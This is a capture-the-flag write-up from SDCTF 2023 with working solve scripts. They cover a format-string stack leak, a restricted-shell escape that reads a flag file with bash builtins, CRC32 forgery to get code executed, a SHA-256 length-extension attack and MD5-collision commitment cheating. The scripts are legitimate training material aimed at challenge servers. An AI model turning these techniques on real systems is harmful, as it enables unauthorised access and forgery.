I participated SDCTF 2023 as Wani Hackase and took 5th place. Thank you for organizing nice CTF events!
PWN/money-printer
This binary contains a format string bug and the flag is located at stack. I
just send %i$08lx
to reveal the flag as shown below.
1from toyotama import *
2
3_r = Socket("nc money.sdc.tf 1337")
4_r.sendlineafter("want?\n", -1000)
5
6_r.sendlineafter("audience?\n", " ".join([f"%{i}$08lx" for i in range(10, 16)]))
7_r.recvuntil("said: ")
8flag = _r.recvline().decode().split()
9
10flag = b"".join([bytes.fromhex(x)[::-1] for x in flag])
11flag += b"}"
12print(flag)
sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}
MISC/Form bomb protector
After connecting the server, it spawn a shell but we cannot use most commands since some syscall is prohibited. It accepts bash builtin commands, so I combined some of them to read the flag.
1echo * # =ls
2while read l; do echo $l; done <flag.txt # cat flag.txt
sdctf{ju5T_3xEc_UR_w4y_0ut!}
MISC/Secure Runner
The server receives a C source code and calculate CRC32. If the CRC32 value of
received source code is the same as program.c
, the server executes a binary
compiled from the source code.
I first wrote a code that executes arbitrary commands and then appended random strings to it as a comment to adjust CRC32 value.
1import string
2import zlib
3from random import choice
4
5from pwn import *
6
7
8def crc32_rewind(data, crc):
9 crc ^= 0xFFFFFFFF
10 for c in data[::-1]:
11 for i in range(8):
12 if crc <= 0x7FFFFFFF:
13 crc <<= 1
14 else:
15 crc = ((crc ^ 0xEDB88320) << 1) + 1
16 crc ^= c
17 return crc ^ 0xFFFFFFFF
18
19
20program = b"""
21#include <stdio.h>
22#include <stdlib.h>
23
24int main() {
25 char cmd[100] = "cat flag.txt";
26 system(cmd);
27 return 0;
28}
29// """
30
31with open("program.c", "rb") as f:
32 target = zlib.crc32(f.read())
33alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation[:16]
34alphabet = alphabet.encode()
35program_ = b""
36
37
38for i in range(1000000):
39 program += bytes([choice(alphabet)])
40 c = zlib.crc32(program)
41
42 x = crc32_rewind(p32(c), target)
43
44 if all(0x20 <= v < 0x7F for v in p32(x)):
45 program_ = program + p32(x)
46 break
47
48_r = remote("secure-runner.sdc.tf", 1337)
49_r.send(program_)
50print(_r.recvline())
sdctf{n0w_th4t5_wh4t_i_ca1l_crcecurity!}
MISC/Open Sesame
I just did the very last part of this challenge. One of my teammate found out
the value of cave
, so I simply calculated the value of the original vector
using matrix calculations over $\mathbf{F}_p$ in SageMath.
1MOD = 131
2FLAG_LEN = 36
3# fmt: off
4DOOR_SHAPE = [94, 68, 98, 110, 45, 81, 6, 76, 119, 53, 16, 19, 122, 91, 51, 44,
5 13, 35, 2, 124, 83, 101, 75, 122, 75, 124, 37, 8, 127, 0, 22, 130,
6 11, 42, 114, 19]
7# fmt: on
8
9
10def gencave(flaglen):
11 cave = []
12 ps = []
13 i = 1
14 while len(cave) <= flaglen:
15 i += 1
16 skip = False
17 for p in ps:
18 if i % p == 0:
19 skip = True
20 continue
21 if skip:
22 continue
23 ps.append(i)
24 if not cave:
25 cave.append([])
26 if len(cave[-1]) >= flaglen:
27 cave.append([])
28 cave[-1].append(i % MOD)
29
30 cave = cave[:-1]
31 return cave
32
33
34M = Zmod(MOD)
35A = gencave(FLAG_LEN)
36A = matrix(M, A)
37b = matrix(M, DOOR_SHAPE)
38
39X = A.solve_right(b.transpose())
40X = X.transpose()[0]
41print(bytes(x for x in X))
CRYPTO/Jumbled snake
I determined the offsets based on the assumption that the contents of __doc__
are included in the original file. After that, I performed
character-by-charactter substitution while inferring from the partially
recovered file.
1with open("print_flag.py.enc") as f:
2 doc = f.readline().strip()
3 s = f.read()
4
5for i in range(len(s)):
6 table = {c2: c1 for c1, c2 in zip(doc, s[i:])}
7 table |= {
8 "b": "\n", "J": "=", "^": "(", ".": "#", "=": "!", "`": "Q",
9 "g": ")", "\n": '"', "]": "'", '"': "D", ",": "N", "1": "R",
10 "F": "G", "5": "Z", "+": "O", "0": "T", "|": "H", "7": "E",
11 ")": "U", "*": "I", "Q": "C", "C": "K", "q": "B", "O": "W",
12 "(": "F", "n": "X", "K": "J", "N": "M", "B": "S", "&": "P",
13 "s": "V", "I": "L", "}": "A", "f": "Y", "4": "/",
14 }
15 table = str.maketrans(table)
16
17 result = s.translate(table)
18 if doc in result:
19 print(result)
CRYPTO/Lake of Pseudo Random Fire
We have to distinguish between random value and pseudo-random value to get the flag. Each value is computed as shown below.
1def pseudorandom(self, msg): # pseudorandom function
2 msg_comp = bytes(x ^ 0xFF for x in msg) # bitwise complement of msg
3 cipher = AES.new(self.key, AES.MODE_ECB)
4 ciphertext = cipher.encrypt(msg) + cipher.decrypt(msg_comp) # concatenation of cipher.encrypt(msg) and cipher.decrypt(msg_comp)
5 return ciphertext
6
7def random(self, msg):
8 # random oracle has consistency: if the same plaintext was given to the oracle twice,
9 # the random oracle will return the same ciphertext on both queries
10 if msg in self.plaintext_ciphertext:
11 return self.plaintext_ciphertext[msg]
12 random_string = urandom(32)
13 self.plaintext_ciphertext[msg] = random_string
14 return random_string
We can send two oracle queries for each round since rooms is 50 and
messages_left is 100. I just send arbitrary hex value and send the latter part
of returned value. If the returned value is derived from pseudorandom()
, the
second returned value should be FFFF..FF || ...
.
The probability that random()
returns FFFF..FF || ...
is so small that it
can be ignored.
1# First query
2→ ENC(0000...00)} || DEC(0000...00^FFFF...FF)
3→ ENC(0000...00) || DEC(FFFF...FF)
4
5# Second query
6→ ENC(DEC(FFFF...FF)) || DEC(DEC(FFFF...FF)^FFFF...FF)
7→ FFFF...FF || DEC(DEC(FFFF...FF)^FFFF...FF)
1from pwn import *
2
3_r = remote("prf.sdc.tf", 1337)
4
5
6def choose(choice: int):
7 _r.sendlineafter(": ", choice)
8
9
10def oracle(msg: bytes) -> int:
11 _r.sendlineafter(": ", 3)
12 _r.sendlineafter(": ", msg.hex())
13 left = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
14 right = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
15
16 _r.sendlineafter(": ", 3)
17 _r.sendlineafter(": ", left[16:].hex())
18 left = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
19 right = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
20 return int(left[:16] == bytes([x ^ 0xFF for x in msg])) + 1
21
22
23for _ in range(50):
24 choice = oracle(bytes(16))
25 choose(choice)
26
27_r.interactive()
CRYPTO/SHA256-CTR
SHA256-CTR is very similar to AES-CTR but the challenge uses SHA256 as block cipher encryption. If we know the SHA256 value after the counter is increased, we can recover the flag just XORing the encrypted flag and the SHA256 value.
It seems impossible to know the SHA256 value in advance However, we can calculate $\text{SHA256}(\text{msg}_1 || \text{msg}_2)$ from $\text{SHA256}(\text{msg}_1)$ and the length of $\text{msg}_1$ even if we don’t know the $\text{msg}_1$ using length extension attack. We can easily get $\text{SHA256}(\text{InitialCounter} || \text{msg})$, where msg can be any value.
Fortunately, we have a feature to increase the counter arbitrarily, so we can adjust the counter value to $\text{SHA256}(\text{InitialCounter} || \text{msg}) - 1$ to get $\text{XOR}(\text{SHA256}(\text{InitialCounter} || \text{msg}), \text{flag})$.
Be careful the padding between InitialCounter and msg.
1import hashlib
2import struct
3import subprocess
4
5from toyotama import *
6
7
8# https://github.com/TheAlgorithms/Python/blob/793e564e1d4bd6e00b6e2f80869c5fd1fd2872b3/hashes/sha256.py
9# Modified `iv` and `plen` to execute length extension attack.
10class SHA256:
11 """
12 Class to contain the entire pipeline for SHA1 Hashing Algorithm
13
14 >>> SHA256(b'Python').hash
15 '18885f27b5af9012df19e496460f9294d5ab76128824c6f993787004f6d9a7db'
16
17 >>> SHA256(b'hello world').hash
18 'b94d27b9934d3e08a52e52d7da7dabfac484efe37a5380ee9088f7ace2efcde9'
19 """
20
21 def __init__(self, data: bytes, iv: list[int] | None = None, plen: int = 0) -> None:
22 self.data = data
23
24 # Initialize hash values
25 self.hashes = iv or [ 0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19 ]
26
27 # Initialize round constants
28 self.round_constants = [ 0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
29
30 self.preprocessed_data = self.preprocessing(self.data, plen)
31 self.final_hash()
32
33 @staticmethod
34 def preprocessing(data: bytes, plen: int) -> bytes:
35 padding = b"\x80" + (b"\x00" * (63 - (len(data) + plen + 8) % 64))
36 big_endian_integer = struct.pack(">Q", ((len(data) + plen) * 8))
37 return data + padding + big_endian_integer
38
39 def final_hash(self) -> None:
40 # Convert into blocks of 64 bytes
41 self.blocks = [self.preprocessed_data[x : x + 64] for x in range(0, len(self.preprocessed_data), 64)]
42
43 for block in self.blocks:
44 # Convert the given block into a list of 4 byte integers
45 words = list(struct.unpack(">16L", block))
46 # add 48 0-ed integers
47 words += [0] * 48
48
49 a, b, c, d, e, f, g, h = self.hashes
50
51 for index in range(0, 64):
52 if index > 15:
53 # modify the zero-ed indexes at the end of the array
54 s0 = self.ror(words[index - 15], 7) ^ self.ror(words[index - 15], 18) ^ (words[index - 15] >> 3)
55 s1 = self.ror(words[index - 2], 17) ^ self.ror(words[index - 2], 19) ^ (words[index - 2] >> 10)
56
57 words[index] = (words[index - 16] + s0 + words[index - 7] + s1) % 0x100000000
58
59 # Compression
60 s1 = self.ror(e, 6) ^ self.ror(e, 11) ^ self.ror(e, 25)
61 ch = (e & f) ^ ((~e & (0xFFFFFFFF)) & g)
62 temp1 = (h + s1 + ch + self.round_constants[index] + words[index]) % 0x100000000
63 s0 = self.ror(a, 2) ^ self.ror(a, 13) ^ self.ror(a, 22)
64 maj = (a & b) ^ (a & c) ^ (b & c)
65 temp2 = (s0 + maj) % 0x100000000
66
67 h, g, f, e, d, c, b, a = (
68 g,
69 f,
70 e,
71 ((d + temp1) % 0x100000000),
72 c,
73 b,
74 a,
75 ((temp1 + temp2) % 0x100000000),
76 )
77
78 mutated_hash_values = [a, b, c, d, e, f, g, h]
79
80 # Modify final values
81 self.hashes = [((element + mutated_hash_values[index]) % 0x100000000) for index, element in enumerate(self.hashes)]
82
83 self.hash = "".join([hex(value)[2:].zfill(8) for value in self.hashes])
84
85 def ror(self, value: int, rotations: int) -> int:
86 """
87 Right rotate a given unsigned number by a certain amount of rotations
88 """
89 return 0xFFFFFFFF & (value << (32 - rotations)) | (value >> rotations)
90
91
92def to_bytes(n):
93 return n.to_bytes((n.bit_length() + 7) // 8, "little")
94
95
96def from_bytes(n):
97 return int.from_bytes(n, "little")
98
99
100def xor(a, b):
101 return bytes(x ^ y for x, y in zip(a, b))
102
103
104def encrypted_flag() -> bytes:
105 _r.sendlineafter("> ", 1)
106 _r.recvline()
107 encrypted_flag = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
108 return encrypted_flag
109
110
111def encrypt(msg: bytes) -> bytes:
112 _r.sendlineafter("> ", 2)
113 _r.sendlineafter(": ", msg.hex())
114 _r.recvline()
115 enc = _r.recvvalue(parser=lambda x: bytes.fromhex(x))
116 return enc
117
118
119def proceed_counter(n: int):
120 _r.sendlineafter("> ", 3)
121 _r.sendlineafter("= ", n)
122
123
124ff = bytes.fromhex("FF" * 32)
125zz = bytes(32)
126flag = b""
127
128# Former
129_r = Socket("nc shactr.sdc.tf 1337")
130
131h1 = xor(encrypt(ff), ff).hex() # +0
132iv = [int(h1[i : i + 8], 16) for i in range(0, 64, 8)]
133
134padding = b"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
135proceed_counter(from_bytes(zz + padding + ff) - 1)
136
137h2 = bytes.fromhex(SHA256(ff, iv=iv, plen=0x40).hash)
138
139enc_flag = encrypted_flag() # +1, +2
140flag += xor(h2, enc_flag[:32])
141
142# Latter
143_r = Socket("nc shactr.sdc.tf 1337")
144
145h1 = xor(encrypt(ff), ff).hex() # +0
146iv = [int(h1[i : i + 8], 16) for i in range(0, 64, 8)]
147
148
149padding = b"\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
150proceed_counter(from_bytes(zz + padding + ff) - 2)
151
152h2 = bytes.fromhex(SHA256(ff, iv=iv, plen=0x40).hash)
153
154enc_flag = encrypted_flag() # +1, +2
155flag += xor(h2, enc_flag[32:])
156
157print(flag)
sdctf{l3ngth-ext3nsion-@tt4ck-br3aks-ps3ud0R4nd0mn3ss-of-SHA2}
CRYPTO/Rock paper scissors
It seems that we can cheat at RPS because the server sends us a hand before we decide another one. However, we need to send a commitment before the server sends us a hand. It makes cheating difficult, but still possible NOT to be defeated RPS.
First, I tried to find two sequences whose MD5 hash is same as shown below using hashclash.
$$ \text{MD5}(\text{‘R’} || \text{<random bytes>}) = \text{MD5}(\text{‘P’} || \text{<random bytes>}) $$
Once I found the two byte sequences, I just sent an appropriate hand to get the flag, that is Rock → Paper, Paper → Paper, Scissors → Rock.
1import base64
2import hashlib
3import secrets
4import sys
5
6from pwnlib.tubes import remote
7
8HOST = "rps.sdc.tf"
9PORT = 1337
10
11p_proof = """
125083019b4d550661ab88118afa4d34b37559465697ef6c4a0790ccfe19d7cf6f92039c91aaa5da5692c104e64c08a33c7f34154b000000005457c58a9edb627e840e19ab04b90ef56f73db723431f7f72cfc8f81aec5cb67a60c3270ca0f7482163a9eac3e2be0829e90008fffd7ab27f943952b8bf4d347cc4d4cbedbf56955b2b5eaed85facc257739a2b4bf23f557529dfac52d071cc343ea4de2d8f36c9ca32fe9de0bd4af0c6338b41f4bbb56198a4119dceb6690536c187051e03ebc81d78722346fb30b7d2d63a3d0c87621ab6767331f0b16c92721c387cbc49d02d116d2c63b3639b6924b5fc4a04717513026d8d4fbae04738f0b6f55505875db302eda53fffaa194e8dcce600ec2480ecbf10701ae479afd8051d3013c57941bdd07ce80953b16c4958f1ef6dc5f5b88e1bcda3487e0194ec66bd7e882f920a8adf7d18193596c24f1ce008edffaf45676c0ba9156d3ea356d24a342f259ec777dbdeb8f55ad52289d6aaca9a11835e4ae38a7a59fddc3ae2e1849e782020af0d9b27bfd909916f55cf45ac19eac1edce47f197f0d4b83a85fd8d66fa66ee2743b1901f278ec73e506abb16c630b59af0797a1743c1f55d8592a36fcb9522a63c5fbe45a84c979aa9eaf8da337c9277c9399d18f87bb34233badc31babdb97e4dee255bc85bf454d1c2afcd75fab1275bda127eaff47ffc9a8052f10dd8e51ef37"""
13p_proof = bytes.fromhex(p_proof)
14
15r_proof = """
16523d6284110175d34deb8093de31c1d93045fbbe1e71f00a6375a830aa9817cae3a26b8e3d44a98ff20e6796489725a6fb17281a000000002eb52b07e04e8a1e840e19ab04b90ef56f73db723431f7f72cfc8f81aec5cb67a60c3270ca0f7482163a9eac3e2be0829e90008fffd76b27f943952b8bf4d347cc4d4cbedbf56955b2b5eaed85facc257739a2b4bf23f557529dfac52d071cc343ea4de2d8f36c9ca32fe9de0bd4af0c6338b41fcbbb56198a4119dceb6690536c187051e03ebc81d78722346fb30b7d2d63a3d0c87621ab6767331f0b16c92721c387cbc49d02d116d2c63b3639b6924b5fc4a04797513026d8d4fbae04738f0b6f55505875db302eda53fffaa194e8dcce600ec2480ecbf10701ae479afd8051d3013c57941bdd07ce80953b16c4958f1ef6dc5f5b84e1bcda3487e0194ec66bd7e882f920a8adf7d18193596c24f1ce008edffaf45676c0ba9156d3ea356d24a342f259ec777dbdeb8f55ad52289d6aaca9a11c35e4ae38a7a59fddc3ae2e1849e782020af0d9b27bfd909916f55cf45ac19eac1edce47f197f0d4b83a85fd8d66fa66ee2743b1901f278ec73e506abb16c630b59afc797a1743c1f55d8592a36fcb9522a63c5fbe45a84c979aa9eaf8da337c9277c9399d18f87bb34233badc31babdb97e4dee255bc85bf454d1c2afcd75fab1275b9a127eaff47ffc9a8052f10dd8e51ef37"""
17r_proof = bytes.fromhex(r_proof)
18
19
20def hash(m: bytes):
21 return hashlib.md5(m).digest()
22
23
24commit = hash(p_proof)
25
26r = remote.remote(HOST, PORT)
27
28
29def send(msg: str) -> None:
30 r.sendline(msg.encode())
31
32
33def send_data(msg: bytes) -> None:
34 r.sendline(base64.b64encode(msg))
35
36
37def recv() -> str:
38 return r.recvline(keepends=False).decode()
39
40
41def recv_command() -> "tuple[str, str]":
42 cmd, arg = recv().split(maxsplit=1)
43 if cmd == "==": # skip proof-of-work if any
44 cmd, arg = recv().split(maxsplit=1)
45 return cmd, arg
46
47
48def error(err: str):
49 print(f"Server error: {err}")
50 sys.exit(1)
51
52
53def process_command():
54 cmd, arg = recv_command()
55 if cmd == "ERROR":
56 error(arg)
57 elif cmd == "MOVE":
58 print(f"Server move: {arg}")
59 return arg
60 elif cmd == "VERDICT":
61 print(f"Server verdict: {arg}")
62 if arg == "Client lost":
63 print("Game over!")
64 sys.exit(0)
65 elif cmd == "FLAG":
66 print(f"You won the flag: {arg}")
67 sys.exit(0)
68 elif cmd == "NEXT":
69 print("Your turn!")
70 else:
71 error(f"Unknown command: {cmd}")
72
73
74process_command()
75
76
77while True:
78 # move = input("Input your move (R/P/S): ")
79 # pad = secrets.token_bytes(16)
80 # proof = move.encode() + pad
81 # commitment = hash(proof)
82 commitment = hash(p_proof)
83 send_data(commitment)
84 hand = process_command()
85 proof = b""
86 if hand == "R":
87 proof = p_proof
88 elif hand == "S":
89 proof = r_proof
90 else:
91 proof = p_proof
92 send_data(proof)
93 process_command()
94 process_command()
sdctf{r0ck-p3P3r-sc1ss0r5-c0llid3!}